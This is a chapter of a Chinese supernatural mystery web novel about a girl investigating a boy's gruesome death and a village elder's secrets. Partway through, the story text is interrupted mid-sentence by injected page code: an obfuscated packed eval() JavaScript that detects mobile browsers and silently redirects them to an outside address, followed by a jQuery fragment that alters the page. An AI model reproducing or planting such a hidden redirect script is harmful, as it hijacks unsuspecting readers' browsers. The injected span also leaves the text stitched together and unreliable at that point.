“好了,你们先回去,等会我过去看看。”
花婶送走了两人,往放进房间里走,晏眠一把丢开凳子,把小问从窗台边上薅下来塞进被子里,刚给小问塞好被子,化身就打开了门。
“小问醒了吗?”
晏眠从被子里拽了一下小问,小问佯装刚醒的样子坐起来:“花婶,你们好吵……”
“吵醒你了。”花婶坐在床边把小问的外套拿过来,“等会我出去有些事,你是回家还是跟着他们去玩?”
“有什么事啊,花婶,我能不能也去?”小问像是没听到方才外面的那些争吵一样,“我不想回家,妈妈肯定还没有消气。”
“这件事不一样,不能带你去,你要是不想回家,就先跟晏眠姐姐她们去她家玩吧。”
小问点了点头,极不情愿的说了句“好吧”。
花婶宋三人回去之后自己也锁了门离开。
“花婶这是要去哪里?”小问跟晏眠和俞临颂趴在门口留出的小缝上看,“早上的时候再说什么?”
“你没听见?”俞临颂倒是很惊讶,他跟小问都是在窗口处站着,外面的声音他都听了个大概,不至于小问没听到。
小问摸了摸耳朵:“我耳朵之前受过伤,听不到太远的声音。”
“我们走。”晏眠拍了拍两人,推开门,“快要看不到花婶了。”
他们对向里镇还不熟悉,要是跟丢了就真的麻烦了。
“你们跟我说花婶去哪了,我可能知道呢。”
两人怕小问跟不上,俞临颂就背着小问在后面跟着晏眠。
“我听着好像叫什么小决,具体叫什么我也不知道。”晏眠站在岔路口,不知道该往哪走,就一眼没看见,前面花婶的身影就不见了。
“我知道,”小问伸手值了右边的路口,“应该是小决哥哥家,这边就小决哥哥一家。”
“你确定?”俞临颂问。
“当然了,向里镇我可是很熟的。”
现在一直在这里站着也不是办法,晏眠朝小问指的方向走过去,确实在那条路的尽头看见一户人家。
晏眠抬手:“你们在外面等着,先别进去了。”
“为什么——”
“不好……”
俞临颂的话还没问出口就被晏眠打断了,他才想起来在花婶家的时候听见那女人说她儿子的状况。
他看了一眼小问,把小问一个人放在这里也不安全,他只好嘱咐晏眠小心。
那家的大门没锁,门口也没有人,晏眠也没了什么顾虑,就算被发现了,她也早就想好了理由。
晏眠进到院子里,听见旁边的房间里还有人说话,晏眠挨着身过去,这里的窗户比较矮,过去的那扇窗户正好是对着床。
花婶还在安慰小决的父母,晏眠从旁边能看到床上的情况,确实跟小决母亲说得差不多——整个身体都是被捆住的,张着嘴,嘴上的交代应该是被拿掉了,唇角处流着血,虽然看不清具体的情况,但按照小决母亲说得那样,舌头应该是没了,眼睛处只剩了两个黑洞洞的窟窿,耳朵里也流出了血。
确实是小决母亲说的那样,但这个小决的死状却让晏眠想起了昨晚的花芝,昨晚打开棺材的时候,花芝也是这样的。
“先别哭了,哭坏了身体可怎么办。”花婶安慰着小决的母亲,“你放心,既然我已经看了,我就一定会将这件事给你们个交代的。”
小决母亲握着花婶的手:“你一定要为小决讨回公道,我们小决这么听话的一个孩子,怎么就这么没了……”
她握着花婶的手,身体如同承受不住一般往下滑,花婶伸手去捞她却没捞到,还是小决父亲把她扶起来:“花婶,你可一定要帮帮我们啊。”
如此显而易见,晏眠已经知道了是谁干的,但还有一个问题,怎么进来的……
晏眠在花婶出来之前溜了出去,招呼着门外的俞临颂和小问赶紧躲起来,四周都是空旷的,没有一点遮挡的东西,是在没拌饭,三人躲到了路边的水沟底。
这边的水沟底跟广场后面的不一样,这边开进路边的几乎是垂直下来的,另一侧才是往外不断延伸出去的缓坡,站在路上跟厄本那看不到谷底。
他们听着花婶跟小决父母的说话声,又听到了小决父母关门的声音,花婶走了没两步就看见在路口站了两三个人。
“花婶,小决家是不是在这边?”
花婶看着几个人问:“你们找小决干什么?”
“我们说好今天一块去广场玩的,但我们在广场等他大半天了也没等见他来。”
花婶叹了口气:“回去吧,小决不能跟你们一块玩了。”
为首的人一怔,继续问道:“为什么不能跟我们一块玩了?”
“小绝昨天晚上……死了。”
花婶摇着头离开,那几个人你还站在原地,等花婶走远他们才一收方才惋惜的表情。
“杨哥,刚才花婶说小决死了?昨晚不是还跟我们一起的吗。”
“谁知道。”杨哥看了一眼路尽头的房子,“走,去他家看看不就知道是真是假了吗。”
几个人往小决家走着,晏眠在沟底听到杨哥暗骂一声:“刚找到能知道点什么线索的人,真晦气。”
“唉!”一份附和着杨哥,“就他那样,死了也是活该。”
那几个人渐渐走远,俞临颂凑到晏眠耳边:“那个杨哥是不是就是我们之前遇到的那个。”
那声音晏眠听着也像。
“先别管了,我们先回去,花婶回去估计要去家里找我们了。”
“我知道有一条小路。”
根据小问说得小路,他们堪堪比花婶早到家一点,花婶看见三人气喘吁吁的:“去哪玩了,这么累。”
小问只笑了笑,没多说什么。
“花婶,在你家的时候忘记跟你说件事了。”晏眠神神秘秘的,暗自给俞临颂使了个眼色,俞临颂带着小问先进了门。
“别在门外说了。”花婶往后走着,“去我家说吧。”
花婶站在门前拿钥匙开门,晏眠抬头看着花婶门前悬着的早已干枯的桃树枝,风一吹,那些干
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563476|178976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
枯的桃树枝就被吹得摇晃,晏眠看着,似乎在不知道被吹起的哪一瞬,看见一模红色。
还不等晏眠仔细看清楚,花婶就已经开了门:“进来吧。”
晏眠在沙发上坐下,花婶似乎没想跟晏眠多说什么,这一次连水都没有倒。
“什么是忘记说了?”
“我是想问,花婶,你说这桃枝真的有用吗?”
花婶似乎对晏眠的这个问题十分不解:“你挂上桃枝之后,昨晚有人打扰你吗?”
晏眠摇头:“这倒是没有,但是……”晏眠故意顿了顿,调整了一下自己的情绪,“但是昨晚我忘记关窗子了,半夜醒来想关窗户的时候,就看见有一人趴在窗户外面盯着我……”
晏眠的话倒是吧花婶说得起了一身鸡皮疙瘩:“那你以后睡觉之前就关上窗子,至少眼不见为净。”
“不是,我的意思是,就被有什么能将她们……完全消灭吗?”
花婶搭在腿上的手一僵,接着很不自然的蜷起来:“这……这怎么可能完全……要是真的能,我们至于这么多年来都这么提心吊胆的吗?”
“花婶,那她们是我们向里镇上的人吗?”晏眠故意问,“我看她们都伤的很重,要是真的是向里镇的人,到底是多大仇和很才会在人家新婚当天把人伤成这个样。”
晏眠装的很像,似乎只是发自内心的好奇。
“花婶,为什么要在人家结婚的时候去伤害人家新人?而且……”晏眠沉了沉语气,“为什么伤的重的都是新娘?这是为什么啊,花婶?”
晏眠的话似乎戳中了花婶的什么心事,花婶站起身来,倒旁边的桌子上倒了杯水自己喝下去,放下杯子时指尖还在不住的抖。
“花婶。”晏眠过去握住花婶还拿着杯子的手,“你怎么了?”
花婶感觉覆在自己手上的手指触感冰凉,她转头看着晏眠微蹙着眉,一瞬的恍惚甚至让她看见了一穿着婚服的女人站在她面前,眼眶里的血泪不住的流,甚至顺着下巴滴下来滴到她手上,泛起一阵温热的触感。
“……花婶?花婶!”
花婶似乎猛然清醒,面前的不是流着血泪的女人,而是一脸担忧的晏眠。
“花婶,你没事吧?怎么突然哭了?”
“哭?”花婶不可置信的抬手擦了擦眼睛,确实一片湿漉,手指上那片温热也不是血,是她滴下的泪。
“怎么了吗,花婶?”
花婶捻了捻手上的眼泪,强扯起唇角:“没事,我有些累了,不然你先回去,有什么事我们明天再说?”
花婶现在这个状态估计也不会说出什么有用的信息了,她点了头:“花婶,那你好好休息,小问今晚就现在我家吧。”
“好,麻烦你了。”
晏眠从花婶家出来,她将自己指尖上的水用纸擦掉,看来花婶确实有很多别人不知道的东西,甚至于整个向里镇都在替她保密。
她抬手还没敲上自家的门,门就被从里面撞开了,俞临颂差点撞上门口的晏眠。
“小问知道不得了的事!”